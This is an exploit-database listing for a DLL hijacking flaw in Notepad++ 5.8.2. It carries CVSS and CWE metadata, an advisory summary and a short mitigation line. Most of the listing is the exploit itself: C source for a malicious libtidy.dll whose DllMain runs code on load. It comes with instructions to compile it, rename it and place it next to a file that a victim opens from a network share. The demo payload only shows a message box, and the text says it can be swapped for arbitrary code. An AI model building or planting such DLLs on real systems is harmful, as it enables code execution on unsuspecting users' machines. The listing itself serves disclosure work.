Notepad++ DLL Hijacking Vulnerability

vendor:

Notepad++

by:

anT!-Tr0J4n

8.8

CVSS

HIGH

Arbitrary Code Execution

119

CWE

Product Name: Notepad++

Affected Version From: 5.8.2002

Affected Version To: 5.8.2002

Patch Exists: NO

Related CWE:

CPE: a:notepad-plus-plus:notepad++:5.8.2

Metasploit:

Other Scripts:

Platforms Tested: Windows XP sp3

Notepad++ DLL Hijacking Vulnerability

The vulnerability allows attackers to execute arbitrary code by tricking a user into opening a specially crafted DLL file from a network share location using Notepad++ 5.8.2. The exploit code presented in the text demonstrates the execution of a message box, but it can be modified to execute any arbitrary code.

Mitigation:

Update to a non-vulnerable version of Notepad++

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/44052/info

Notepad++ is prone to a vulnerability that lets attackers execute arbitrary code.

An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file.

Notepad++ 5.8.2 is vulnerable; other versions may also be affected.

/*
#Notepad++ 5.8.2 DLL Hijacking Exploit (libtidy.dll)

#Author    :   anT!-Tr0J4n

#Greetz    :   Dev-PoinT.com ~ inj3ct0r.com  ~ All Dev-poinT members and my friends

#Email      :   D3v-PoinT[at]hotmail[d0t]com & C1EH[at]Hotmail[d0t]com

#Software :  http://notepad-plus-plus.org/

#Tested on:   Windows? XP sp3

#Home     :   www.Dev-PoinT.com


==========================
How  TO use : Compile and rename to  libtidy.dll , create a file in the same dir with one of the following extensions.

 check the result > Hack3d    
         
==========================

# libtidy.dll(code)
*/
 
#include "stdafx.h"
 
void init() {
MessageBox(NULL,"Your System 0wn3d BY anT!-Tr0J4n", "anT!-Tr0J4n",0x00000003);
}
 
 
BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
 )
{
    switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
 init();break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
 case DLL_PROCESS_DETACH:
break;
    }
    return TRUE;
}